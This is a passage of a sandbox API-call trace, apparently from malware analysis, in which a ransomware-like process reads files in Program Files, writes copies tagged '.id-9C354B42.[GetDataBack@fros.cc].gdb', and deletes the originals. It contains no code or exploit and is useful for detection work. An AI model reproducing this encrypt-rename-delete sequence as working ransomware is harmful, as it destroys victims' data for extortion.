lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString=".xls") returned 4 [0131.031] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString=".xlsx") returned 5 [0131.031] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0131.031] lstrlenW (lpString=".ppt") returned 4 [0131.031] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.031] lstrlenW (lpString=".zip") returned 4 [0131.031] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.031] lstrlenW (lpString=".rar") returned 4 [0131.031] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString=".bz2") returned 4 [0131.031] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString=".7z") returned 3 [0131.031] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.031] lstrlenW (lpString=".dbf") returned 4 [0131.031] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.031] lstrlenW (lpString=".1cd") returned 4 [0131.031] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.031] lstrlenW (lpString=".jpg") returned 4 [0131.031] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.031] lstrlenW (lpString=".doc") returned 4 [0131.031] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString=".docx") returned 5 [0131.031] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0131.031] lstrlenW (lpString=".pdf") returned 4 [0131.031] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString=".xls") returned 4 [0131.031] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.031] lstrlenW (lpString=".xlsx") returned 5 [0131.031] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0131.031] lstrlenW (lpString=".ppt") returned 4 [0131.032] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.032] lstrlenW (lpString=".zip") returned 4 [0131.032] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.032] lstrlenW (lpString=".rar") returned 4 [0131.032] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.032] lstrlenW (lpString=".bz2") returned 4 [0131.032] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.032] lstrlenW (lpString=".7z") returned 3 [0131.032] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.032] lstrlenW (lpString=".dbf") returned 4 [0131.032] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.032] lstrlenW (lpString=".1cd") returned 4 [0131.032] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0131.032] lstrlenW (lpString=".jpg") returned 4 [0131.032] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0131.032] lstrcmpiW (lpString1=".xsl", lpString2=".gdb") returned 1 [0131.032] lstrlenW (lpString="as90.xsl") returned 8 [0131.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.033] GetFileSizeEx (in: hFile=0x208, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=18738) returned 1 [0131.033] CloseHandle (hObject=0x208) returned 1 [0131.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0131.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.034] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.034] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0131.034] GetLastError () returned 0x0 [0131.034] ReadFile (in: hFile=0x208, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x4932, lpOverlapped=0x0) returned 1 [0131.036] WriteFile (in: hFile=0x1b0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x4940, lpOverlapped=0x0) returned 1 [0131.039] ReadFile (in: hFile=0x208, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0131.039] WriteFile (in: hFile=0x1b0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe4, lpOverlapped=0x0) returned 1 [0131.039] SetEndOfFile (hFile=0x1b0) returned 1 [0131.039] CloseHandle (hObject=0x1b0) returned 1 [0131.039] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.040] SetEndOfFile (hFile=0x208) returned 1 [0131.040] CloseHandle (hObject=0x208) returned 1 [0131.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0131.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.041] lstrlenW (lpString=".doc") returned 4 [0131.041] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.041] lstrlenW (lpString=".docx") returned 5 [0131.041] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0131.041] lstrlenW (lpString=".pdf") returned 4 [0131.041] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.041] lstrlenW (lpString=".xls") returned 4 [0131.041] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.041] lstrlenW (lpString=".xlsx") returned 5 [0131.041] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0131.041] lstrlenW (lpString=".ppt") returned 4 [0131.041] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.041] lstrlenW (lpString=".zip") returned 4 [0131.041] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.042] lstrlenW (lpString=".rar") returned 4 [0131.042] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString=".bz2") returned 4 [0131.042] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString=".7z") returned 3 [0131.042] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.042] lstrlenW (lpString=".dbf") returned 4 [0131.042] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.042] lstrlenW (lpString=".1cd") returned 4 [0131.042] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.042] lstrlenW (lpString=".jpg") returned 4 [0131.042] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.042] lstrlenW (lpString=".doc") returned 4 [0131.042] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString=".docx") returned 5 [0131.042] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0131.042] lstrlenW (lpString=".pdf") returned 4 [0131.042] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString=".xls") returned 4 [0131.042] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString=".xlsx") returned 5 [0131.042] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0131.042] lstrlenW (lpString=".ppt") returned 4 [0131.042] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.042] lstrlenW (lpString=".zip") returned 4 [0131.042] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.042] lstrlenW (lpString=".rar") returned 4 [0131.042] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.042] lstrlenW (lpString=".bz2") returned 4 [0131.043] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.043] lstrlenW (lpString=".7z") returned 3 [0131.043] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.043] lstrlenW (lpString=".dbf") returned 4 [0131.043] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.043] lstrlenW (lpString=".1cd") returned 4 [0131.043] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0131.043] lstrlenW (lpString=".jpg") returned 4 [0131.043] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0131.043] lstrcmpiW (lpString1=".xsl", lpString2=".gdb") returned 1 [0131.043] lstrlenW (lpString="Informix.xsl") returned 12 [0131.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.044] GetFileSizeEx (in: hFile=0x208, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=30948) returned 1 [0131.044] CloseHandle (hObject=0x208) returned 1 [0131.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0131.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.044] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.044] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0131.045] GetLastError () returned 0x0 [0131.045] ReadFile (in: hFile=0x208, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x78e4, lpOverlapped=0x0) returned 1 [0131.343] WriteFile (in: hFile=0x1b0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x78f0, lpOverlapped=0x0) returned 1 [0131.344] ReadFile (in: hFile=0x208, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0131.344] WriteFile (in: hFile=0x1b0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0131.344] SetEndOfFile (hFile=0x1b0) returned 1 [0131.390] CloseHandle (hObject=0x1b0) returned 1 [0131.390] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0131.390] SetEndOfFile (hFile=0x208) returned 1 [0131.391] CloseHandle (hObject=0x208) returned 1 [0131.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0131.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.646] lstrlenW (lpString=".doc") returned 4 [0131.646] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.646] lstrlenW (lpString=".docx") returned 5 [0131.647] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0131.647] lstrlenW (lpString=".pdf") returned 4 [0131.647] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString=".xls") returned 4 [0131.647] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString=".xlsx") returned 5 [0131.647] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0131.647] lstrlenW (lpString=".ppt") returned 4 [0131.647] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.647] lstrlenW (lpString=".zip") returned 4 [0131.647] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.647] lstrlenW (lpString=".rar") returned 4 [0131.647] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString=".bz2") returned 4 [0131.647] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString=".7z") returned 3 [0131.647] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.647] lstrlenW (lpString=".dbf") returned 4 [0131.647] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.647] lstrlenW (lpString=".1cd") returned 4 [0131.647] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.647] lstrlenW (lpString=".jpg") returned 4 [0131.647] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.647] lstrlenW (lpString=".doc") returned 4 [0131.647] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString=".docx") returned 5 [0131.647] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0131.647] lstrlenW (lpString=".pdf") returned 4 [0131.647] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString=".xls") returned 4 [0131.647] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString=".xlsx") returned 5 [0131.647] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0131.647] lstrlenW (lpString=".ppt") returned 4 [0131.647] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.647] lstrlenW (lpString=".zip") returned 4 [0131.647] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.648] lstrlenW (lpString=".rar") returned 4 [0131.648] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.648] lstrlenW (lpString=".bz2") returned 4 [0131.648] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.648] lstrlenW (lpString=".7z") returned 3 [0131.648] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.648] lstrlenW (lpString=".dbf") returned 4 [0131.648] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.648] lstrlenW (lpString=".1cd") returned 4 [0131.648] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0131.648] lstrlenW (lpString=".jpg") returned 4 [0131.648] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0132.293] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0132.293] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0132.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0132.294] GetLastError () returned 0x0 [0132.294] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x3a19, lpOverlapped=0x0) returned 1 [0132.485] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x3a20, lpOverlapped=0x0) returned 1 [0132.486] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0132.486] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0132.486] SetEndOfFile (hFile=0x1cc) returned 1 [0132.486] CloseHandle (hObject=0x1cc) returned 1 [0132.486] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0132.486] SetEndOfFile (hFile=0x198) returned 1 [0132.487] CloseHandle (hObject=0x198) returned 1 [0132.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0132.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0132.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0132.487] lstrlenW (lpString=".doc") returned 4 [0132.487] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.488] lstrlenW (lpString=".docx") returned 5 [0132.488] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.488] lstrlenW (lpString=".pdf") returned 4 [0132.488] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.488] lstrlenW (lpString=".xls") returned 4 [0132.488] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.488] lstrlenW (lpString=".xlsx") returned 5 [0132.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.488] lstrlenW (lpString=".ppt") returned 4 [0132.488] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0132.488] lstrlenW (lpString=".zip") returned 4 [0132.488] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.488] lstrlenW (lpString=".rar") returned 4 [0132.488] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.488] lstrlenW (lpString=".bz2") returned 4 [0132.488] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.488] lstrlenW (lpString=".7z") returned 3 [0132.488] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0132.488] lstrlenW (lpString=".dbf") returned 4 [0132.488] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0132.488] lstrlenW (lpString=".1cd") returned 4 [0132.488] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0132.488] lstrlenW (lpString=".jpg") returned 4 [0132.488] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.488] SetFilePointerEx (in: 